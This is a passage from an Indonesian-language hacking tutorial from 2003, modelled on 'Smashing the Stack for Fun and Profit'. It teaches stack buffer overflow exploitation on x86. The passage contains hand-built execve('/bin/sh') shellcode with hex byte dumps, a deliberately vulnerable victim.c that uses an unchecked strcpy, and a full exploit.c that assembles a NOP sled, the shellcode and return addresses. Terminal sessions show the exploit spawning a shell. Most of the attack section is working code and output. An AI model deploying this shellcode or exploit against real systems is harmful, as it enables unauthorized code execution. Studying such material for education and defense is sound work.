0x80481f5 <main+29>:    mov    0xfffffff8(%ebp),%eax
0x80481f8 <main+32>:    push   %eax
0x80481f9 <main+33>:    call   0x8048360 <execve>
0x80481fe <main+38>:    add    $0x10,%esp
0x8048201 <main+41>:    add    $0xfffffff4,%esp
0x8048204 <main+44>:    push   $0x0
0x8048206 <main+46>:    call   0x804834c <_exit>
0x804820b <main+51>:    add    $0x10,%esp
0x804820e <main+54>:    mov    %esi,%esi
0x8048210 <main+56>:    leave
0x8048211 <main+57>:    ret
End of assembler dump.
(gdb) gdb execve
Undefined command: "gdb".  Try "help".
(gdb) oops
Undefined command: "oops".  Try "help".
(gdb) disass execve
Dump of assembler code for function execve:
0x8048360 <execve>:     lea    0x3b,%eax
0x8048366 <execve+6>:   int    $0x80
0x8048368 <execve+8>:   jb     0x8048358 <_exit+12>
0x804836a <execve+10>:  ret
0x804836b <execve+11>:  nop
0x804836c <execve+12>:  push   %ebp
0x804836d <execve+13>:  mov    %esp,%ebp
0x804836f <execve+15>:  sub    $0xc,%esp
0x8048372 <execve+18>:  push   %edi
.
.
(dan seterusnya beberapa lembar)
(gdb) disass exit
Dump of assembler code for function exit:
0x804991c <exit>:       push   %ebp
0x804991d <exit+1>:     mov    %esp,%ebp
0x804991f <exit+3>:     sub    $0xc,%esp
0x8049922 <exit+6>:     push   %edi
0x8049923 <exit+7>:     push   %esi
0x8049924 <exit+8>:     push   %ebx
0x804992d <exit+17>:    je     0x804994a <exit+46>
0x804992f <exit+19>:    nop
.
.
(dan seterusnya... salah. mustinya "_exit", bukan "exit")
(gdb) disass _exit
Dump of assembler code for function _exit:
0x804834c <_exit>:      lea    0x1,%eax
0x8048352 <_exit+6>:    int    $0x80
0x8048354 <_exit+8>:    ret
0x8048355 <_exit+9>:    lea    0x0(%esi),%esi
0x8048358 <_exit+12>:   jmp    0x8049a34 <.cerror>
0x804835d <_exit+17>:   lea    0x0(%esi),%esi
End of assembler dump.
(gdb) q
[aa]$

Shellcode

Nah sekarang kita cukup punya bahan. Menggunakan trik lama, kita masukkan address string ke stack dengan perintah: "call".

contoh5.c (assembler code)
------------------------------------------------------------
    pushl $0		; address NULL
    jmp shell		; ambil address stringz "/bin/sh"

  mulai:
    pushl $0		; arg3 (SP berkurang 4)
    leal 4(%esp),%eax	; jadi address string berada di SP+4 
    pushl %eax		; masukkan ke arg2 (SP berkurang lagi 4)
    mov 8(%esp),%eax	; address string sekarang di SP+8	
    pushl %eax		; masukkan sebagai arg 1
    sub $4,%esp		; dummy-ret (buat syscall)
    mov $0x3b,%eax	; service number 0x3b = execve
    int $0x80		; syscall
    add $16,%esp	; penala stack
    add $8,%esp		; offset untuk ret & push 0 diatas

    pushl $0
    sub $4,%esp
    mov $0x1,%eax
    int $0x80

    add $8,%esp

    jmp CIAO
  
  shell:
    call (mulai)	; address stringz "/bin/sh"
    .asciz \"/bin/sh\"  ; disimpan ke stack (SP)
  CIAO:
------------------------------------------------------------

lalu tinggal kita masukkan ke dalam block assembler int main() { asm(" xxxx "); }, selesailah sudah :) mari kita test hasilnya:

[aa]$./contoh5
$ echo "Hello shell!"
Hello shell!
$ exit
[aa]$

Lalu kita ambil kode-bytenya dengan debugger. Catatan: supaya kelihatan rapi sebaiknya gunakan mode layar minimal 86 kolom. saran saya gunakan x windows atau pake putty telnet, tinggal copy-paste :)

[aa]$gdb -q contoh5
(gdb) set disass intel
(gdb) disass main
Dump of assembler code for function main:
0x80481d8 <main>:       push   %ebp
0x80481d9 <main+1>:     mov    %esp,%ebp
0x80481db <main+3>:     push   $0x0
0x80481dd <main+5>:     jmp    0x804820c <shell>
0x80481df <mulai>:      push   $0x0
0x80481e1 <mulai+2>:    lea    0x4(%esp,1),%eax
0x80481e5 <mulai+6>:    push   %eax
0x80481e6 <mulai+7>:    mov    0x8(%esp,1),%eax
0x80481ea <mulai+11>:   push   %eax
0x80481eb <mulai+12>:   sub    $0x4,%esp
0x80481ee <mulai+15>:   mov    $0x3b,%eax
0x80481f3 <mulai+20>:   int    $0x80
0x80481f5 <mulai+22>:   add    $0x10,%esp
0x80481f8 <mulai+25>:   add    $0x8,%esp
0x80481fb <mulai+28>:   push   $0x0
0x80481fd <mulai+30>:   sub    $0x4,%esp
0x8048200 <mulai+33>:   mov    $0x1,%eax
0x8048205 <mulai+38>:   int    $0x80
0x8048207 <mulai+40>:   add    $0x8,%esp
0x804820a <mulai+43>:   jmp    0x8048219 <CIAO>
0x804820c <shell>:      call   0x80481df <mulai>
0x8048211 <shell+5>:    das
0x8048212 <shell+6>:    bound  %ebp,0x6e(%ecx)
0x8048215 <shell+9>:    das
0x8048216 <shell+10>:   jae    0x8048280 <atexit+100>
0x8048218 <shell+12>:   add    %cl,%cl
0x804821a <CIAO+1>:     ret
End of assembler dump.
(gdb) print CIAO - (main+3)
$1 = 62 (jumlah byte yang perlu didump)
(gdb) x/62b main+3
0x80481db <main+3>:   0x6a 0x00 0xeb 0x2d 0x6a 0x00 0x8d 0x44
0x80481e3 <mulai+4>:  0x24 0x04 0x50 0x8b 0x44 0x24 0x08 0x50
0x80481eb <mulai+12>: 0x83 0xec 0x04 0xb8 0x3b 0x00 0x00 0x00
0x80481f3 <mulai+20>: 0xcd 0x80 0x83 0xc4 0x10 0x83 0xc4 0x08
0x80481fb <mulai+28>: 0x6a 0x00 0x83 0xec 0x04 0xb8 0x01 0x00
0x8048203 <mulai+36>: 0x00 0x00 0xcd 0x80 0x83 0xc4 0x08 0xeb
0x804820b <mulai+44>: 0x0d 0xe8 0xce 0xff 0xff 0xff 0x2f 0x62
0x8048213 <shell+7>:  0x69 0x6e 0x2f 0x73 0x68 0x00
(gdb)q
[aa]$

hmm... tapi, masih banyak byte 00 di dalamnya, ini tidak bagus buat BO, string yang akan kita inputkan bisa putus di tengah jalan. Tapi tidak apalah, ini cuma sekedar contoh, banyak shelcodes berserakan di rimba kang-ouw, tinggal kita pungut mana yang kita mau sesuai OS target.

Merapikan Shellcode

Shellcode yang efektif, menghasilkan kode byte yang tidak mengandung karakter kontrol (0 - 0x1F), malah kalau bisa juga tidak mengandung simbol-simbol tertentu seperti backslash (\), single/doublequotes ('/"), anglebracket (<>) dsb.

Trik-trik yang bisa digunakan a.l.:

1. mengganti perintah MOV X dengan pasangan PUSH/POP
2. menggunakan XOR untuk mereset nilai (membuatnya 0)
3. mengganti perintah ADD N dengan SUB -N

lain-lain:

• jika menggunakan displacement index, perbesar/tambah offset hingga lebih dari 0x20
• usahakan jumlah kode-byte merupakan kelipatan 4

Shellcode dibawah ini memodifikasi kodenya sendiri (self- modifying) yaitu dengan mengisi NULL dibelakang "/bin/sh", serta menyimpan nilai di dua lokasi memori setelahnya (seukuran 2 pointer atau 8 byte). Jadi, program dibawah ini tidak bisa langsung dijalankan, (hanya untuk diambil code-byte-nya saja).

contoh6.c
------------------------------------------------------------
int main() {
asm("
    jmp store

  mulai:
    popl %edi           # salin address \"/bin/sh\" ke DI
    pushl %edi          # simpan lagi ke stack
    xorl %eax,%eax      # reset EAX
    sub $-7,%edi        # incar ujung string \"/bin/sh\"
    cld
    stosb               # ASCIIZ \"/bin/sh\"
    popl %eax           # salin address \"/bin/sh\" ke EAX
    stosl               # simpan ke memory storage1
    xorl %eax,%eax      # reset EAX
    stosl               # simpan ke memory storage2

  param:
    pushl %eax          # -> arg3

    leal -8(%edi),%esi  # ESI = address storage1
    pushl %esi          # -> arg2
    movl -8(%edi),%esi  # ESI = isi memori storage1
    pushl %esi          # -> arg3
//  alternatif lain, lebih singkat:
//    add $-8,%edi
//    pushl %edi
//    pushl (%edi)

    pushl %eax          # dummy, syscall ret-address
    movb $0x3b,%al      # service call = 3B
    int $0x80           # syscall
    sub $-0x16,%esp

//  dipotong, biar irit:
//    xorl %eax,%eax      # reset EAX
//    pushl %eax          # arg1
//    pushl %eax          # dummy
//    inc %eax            # service call = 01
//    int $0x80           # syscall
//    sub $-8,%esp

    leave
    ret

  store:
    call mulai
  shell:
    .ascii \"/bin/sh0\",
  storage1:
    .ascii \"1234\"
  storage2:
    .ascii \"5678\"
CIAO:
");
}
------------------------------------------------------------

[aa]$gcc -o contoh6 contoh6.c
[aa]$echo "print CIAO - (main+3)" | gdb -q contoh6
(gdb) $1 = 56
(gdb) [aa]
[aa]$echo "x/56b main+3" | gdb -q contoh6
(gdb) 0x80481db <main+3>:  0xeb 0x21 0x5f 0x57 0x31 0xc0 0x83 0xef
0x80481e3 <mulai+6>:  0xf9 0xfc 0xaa 0x58 0xab 0x31 0xc0 0xab
0x80481eb <param>:    0x50 0x8d 0x77 0xf8 0x56 0x8b 0x77 0xf8
0x80481f3 <param+8>:  0x56 0x50 0xb0 0x3b 0xcd 0x80 0x83 0xec
0x80481fb <param+16>: 0xea 0xc9 0xc3 0xe8 0xda 0xff 0xff 0xff
0x8048203 <shell>:    0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x30
0x804820b <storage1>: 0x31 0x32 0x33 0x34 0x35 0x36 0x37 0x38
(gdb) [aa]$

setelah kita lihat formatnya, langsung kita copy saja ke file contoh7.c supaya tidak repot

[aa]$echo "x/56b main+3" | gdb -q contoh6 |\
> sed -E s/"^.*:(.*)"/"\"\1\""/g |\
> sed -E s/"space:0"/"\\\\"/g |\
> tee contoh7.c
"\xeb\x21\x5f\x57\x31\xc0\x83\xef"
"\xf9\xfc\xaa\x58\xab\x31\xc0\xab"
"\x50\x8d\x77\xf8\x56\x8b\x77\xf8"
"\x56\x50\xb0\x3b\xcd\x80\x83\xec"
"\xea\xc9\xc3\xe8\xda\xff\xff\xff"
"\x2f\x62\x69\x6e\x2f\x73\x68\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38"
(gdb)
[aa]$

lalu kita edit.

contoh7.c
------------------------------------------------------------
char shell[] =
"\xeb\x21\x5f\x57\x31\xc0\x83\xef"
"\xf9\xfc\xaa\x58\xab\x31\xc0\xab"
"\x50\x8d\x77\xf8\x56\x8b\x77\xf8"
"\x56\x50\xb0\x3b\xcd\x80\x83\xec"
"\xea\xc9\xc3\xe8\xda\xff\xff\xff"
"\x2f\x62\x69\x6e\x2f\x73\x68\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38"
;

int main() {
  int *ret;
  ret = (int*) &ret + 2; // 2 pointer ke long integer
                         // = 8 bytes
  (*ret) = (int) shell;
}
------------------------------------------------------------

Selanjutnya dikompile dan langsung dicoba:

[aa]$gcc -o contoh7 contoh7.c
[aa]$./contoh7
$ 	=> (INI ADALAH SHELL)
OK, kita sudah masuk kedalam shellcode

$ who am i
aa               ttyp2    Feb 11 00:54 (aa)
$ uname -prs
Annix 4.56-CANTIX i386
$ make love
make: don't know how to make love. Stop
$ echo Inul Daratista have a better asses than pinguin
$ Inul Daratista have a better asses than pinguin
$ exit
[aa]$

Exploit

Pada saat sebuah fungsi dijalankan, dimanapun levelnya berada, awalnya nilai SP-nya selalu sama (nilainya tergantung kepada OS ybs.). Seperti diketahui, return value dari sebuah fungsi diperoleh dari nilai register AX, maka dengan menyalin SP ke AX, kita dapat mengambil nilai SP untuk diproses lebih lanjut.

unsigned long SP(void) {
  asm("movl %esp,%eax");
}

Namun sayangnya kita tidak tahu posisi sebenarnya dari buffer yang akan kita overflow, jadi mau tidak mau ya harus dikira-kira saja sendiri :). Misalnya seperti gambar di bawah ini, jika bufY adalah buffer yang exploitable, maka posisinya di stack adalah SP minus seluruh offset dari buf1 s.d. bufY. Oleh sebab itulah dalam program nanti kita perlu menambah satu variabel yang bisa merubah offset stack ini.

gambar-3.6a.
 ____________________________//___________________|___
   |      |   bufY    |              |    |   |   |
   | bufZ |exploitable| bufX    buf1 |buf0|BP |RET|
 __|______|___________|______//______|____|___|___|___
                                                  |

Tujuan utama kita adalah menimpa return-address yang disimpan di stack agar mengarah kembali ke SP yang berisi shellcode kita. Untuk menambah peluang keberhasilan, kita bungkus shellcode dengan deretan NOP di depannya serta barisan return-address di belakangnya.

gambar-3.6b.
 _________|______________________________________________
   |      |           |               |
   | bufZ |   NOPs..  |   Shellcode   | Return Adresses..
 __|______|___________|_______________|__________________
          |                               |
                                          |JMP
                 |<------------------------

Pada umumnya address alignment adalah 4, artinya data disimpan dalam address memori dalam kelipatan 4, intel sendiri, dengan alasan performansi, memang menyarankan minimal dalam word boundary (kelipatan 2), dalam praktek, compiler seperti gcc malah melipatnya dalam 8 atau 16 (seperti kita lihat pada contoh-contoh diatas yang melakukan perapian stack dalam kelipatan 16 (biasa disebut juga 1 paragraph). Dalam program exploit nanti, kita akan mengakomodasi kemungkinan anomali atas address alignment, buat mengakali program-program yang mungkin dikompile secara tidak standar atau dipatch secara biner sembarangan, udik, kampungan, dsb. dsb.

Oke deh kakak, untuk menguji shellcode, kita buat dulu sebuah program yang secara tidak senonoh, menyalin argumen ke buffernya tanpa melakukan pengechekan dhulu sebhelumnyha:

victim.c
------------------------------------------------------------
#define EXPLOITABLE_BUFFER_SIZE 256

int main(int argc, char *argv[]) {
  char msg[]="no argumen specified";
  char memble[EXPLOITABLE_BUFFER_SIZE];
  strcpy(memble, argc > 1 ? argv[1] : msg);
  printf("%s\n", memble);
}
------------------------------------------------------------

Selanjutnya kita buat program yang menyalin exploit kode ke environment, yang lantas bisa kita inputkan nantinya (supaya tidak perlu diketik manual), sebagai argumen untuk program victim diatas.

Program ini dapat dipanggil dengan argumen kustomisasi yaitu [bufsize] [offset] [alignment] dengan nilai default: 512 0 0

exploit.c
------------------------------------------------------------
#define DEFAULT_BUFSIZE 512
#define DEFAULT_OFFSET 0
#define ALIGNMENT 0
#define ENV_STRING "BUF"
#define NOP 0x90
#define midpointer(X) ((X>>3)<<2)

char shell[] =
"\xeb\x1f\x5f\x57\x31\xc0\x83\xef"
"\xf9\xfc\xaa\x58\xab\x31\xc0\xab"
"\x50\x83\xc7\xf8\x57\xff\x37\x50"
"\xb0\x3b\xcd\x80\x83\xec\xea\xc9"
"\xc3\xe8\xdc\xff\xff\xff\x2f\x62"
"\x69\x6e\x2f\x73\x68\x30\x31\x32"
"\x33\x34\x35\x36\x37\x38"
;

/*
char shell_new[] =
// yang ini lebih singkat
"\xeb\x1f\x5f\x57\x31\xc0\x83\xef"
"\xf9\xfc\xaa\x58\xab\x31\xc0\xab"
"\x50\x83\xc7\xf8\x57\xff\x37\x50"
"\xb0\x3b\xcd\x80\x83\xec\xea\xc9"
"\xc3\xe8\xdc\xff\xff\xff\x2f\x62"
"\x69\x6e\x2f\x73\x68\x30\x31\x32"
"\x33\x34\x35\x36\x37\x38"
;

char shell_old[] =
// yang ini lebih portable
"\xeb\x21\x5f\x57\x31\xc0\x83\xef"
"\xf9\xfc\xaa\x58\xab\x31\xc0\xab"
"\x50\x8d\x77\xf8\x56\x8b\x77\xf8"
"\x56\x50\xb0\x3b\xcd\x80\x83\xec"
"\xea\xc9\xc3\xe8\xda\xff\xff\xff"
"\x2f\x62\x69\x6e\x2f\x73\x68\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38"
;
*/

int SP(void) {
  asm("movl %esp,%eax");
}

int main(int argc, char *argv[]) {
  char
    *B,		// memory allocated for buffer
    *pb;	// intermediate pointer for buffer
  long
    X,		// return-address as number
    *px;	// counter pointer

  int i,
    bufsize, mid, offsize, align,
    codelength = strlen(shell);

  bufsize = argc > 1 ? atoi(argv[1]) : DEFAULT_BUFSIZE;
  if (bufsize < codelength) bufsize = DEFAULT_BUFSIZE;
  offsize = argc > 2 ? atoi(argv[2]) : DEFAULT_OFFSET;
  align = argc > 3 ? atoi(argv[3])%4 : ALIGNMENT;
  mid = bufsize-midpointer(bufsize);

  if (B = (char*) malloc(bufsize + 1)) { 
    memset(B, NOP, mid);
    pb = B;
  }
  else exit(1);

  X = SP() - offsize;

  printf("shellcode=\n%s\n", shell);
  printf("codelength=%u, bufsize=%u, mid=%u (%u-%u)\n",
    codelength, bufsize, mid, bufsize, bufsize-mid);
  printf("ESP: x%X, Offset: %u (x%X), Effective: x%X, ",
    X+offsize, offsize, offsize, X);
  printf("Alignment %u\n", align);
  printf("Environment variable: \"%s\"\n", ENV_STRING);

  (char *) px = (pb + mid + align); 

  for (i = mid; i < bufsize; i+=4)	// size of pointer
    *(px++) = X;			// = 4 bytes

  pb = B + mid - midpointer(codelength);

  for (i = 0; i < codelength; i++)
    *(pb++) = shell[i];

  B[bufsize] = '\0';

  setenv(ENV_STRING, B, 1);
  system(getenv("SHELL"));

}
------------------------------------------------------------
[aa]$gcc -o exploit exploit.c

Dengan contoh exploitable-buffer sebesar 256 bytes pada program victim diatas, kita coba program exploit untuk mengeset environment variabel BUF dengan exploit-code yang panjangnya 300 (bytes)

[aa]$./exploit 300
shellcode=
ë_W1ÀïùüªX«1À«PÇøWÿ7P°;ÍìêÉÃèÜÿÿÿ/bin/sh012345678
codelength=54, bufsize=300, mid=152 (300-148)
ESP: xBFBFFB60, Offset: 0 (x0), Effective: xBFBFFB60, Alignment 0
Environment variable: "BUF"

Program exploit membuka shell baru dengan environment "BUF" yang di-set sesuai exploit-code (300 bytes). Lalu inputkan exploit-code tsb. menjadi argumen untuk program victim:

[aa]$./victim "$BUF"
ë_W1ÀïùüªX«1À«PÇøWÿ7P°;ÍìêÉÃèÜÿÿÿ/bin/sh012345678¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿
Bus error (core dumped)
[aa]$

Yaah... hasilnya kacau :(, kita keluar saja deh...

[aa]$exit
exit
[aa]$

Rupanya ada yang kelupaan, karena exploitable-buffer dalam program victim diatas besarnya adalah 256 bytes, maka sebaiknya kita kurangi SP sebesar kira-kira segitu, yaitu dengan menggunakan offset, misalnya 200 lah...

[aa]$./exploit 300 200
shellcode=
ë_W1ÀïùüªX«1À«PÇøWÿ7P°;ÍìêÉÃèÜÿÿÿ/bin/sh012345678
codelength=54, bufsize=300, mid=152 (300-148)
ESP: xBFBFFB60, Offset: 200 (xC8), Effective: xBFBFFA98, Alignment 0
Environment variable: "BUF"
[aa]$

Dengan cara yang sama seperti diatas, kita embat lagi buffernya

[aa]$./victim "$BUF"
ë_W1ÀïùüªX«1À«PÇøWÿ7P°;ÍìêÉÃèÜÿÿÿ/bin/sh012345678¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿
$ 	=> (INI ADALAH SHELL)

Wow! kereen... :).

$ exit
[aa]$exit
exit
[aa]$

Coba lagi nilai lainnya, nilai offset mestinya lebih besar dari mid (middle point of buffer) supaya return address jatuhnya di bantalan NOP yang empuk.

[aa]$./exploit 400 300
shellcode=
ë_W1ÀïùüªX«1À«PÇøWÿ7P°;ÍìêÉÃèÜÿÿÿ/bin/sh012345678
codelength=54, bufsize=400, mid=200 (400-200)
ESP: xBFBFFB60, Offset: 300 (x12C), Effective: xBFBFFA34, Alignment 0
Environment variable: "BUF"
[aa]$./victim "$BUF"
ë_W1ÀïùüªX«1À«PÇøWÿ7P°;ÍìêÉÃèÜÿÿÿ/bin/sh012345678¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿
$ 	=> (INI ADALAH SHELL)

Gracias!

$ exit
[aa]$exit
exit
[aa]$

Penutup

Udah-ah, capek :)

_________________________________________________________________
Bacaan:
"Smashing the Stack for Fun and Profit", Aleph One, Phrack Magazine 49, Volume Seven, Issue Forty­Nine, File 14.
_________________________________________________________________
by: aa,
kritik dan saran: aa.delphi.AT.yahoo.DOT.com
jakarta,
20030406
20030415
20030417

Pranala Menarik

• Beberapa Tip Hacking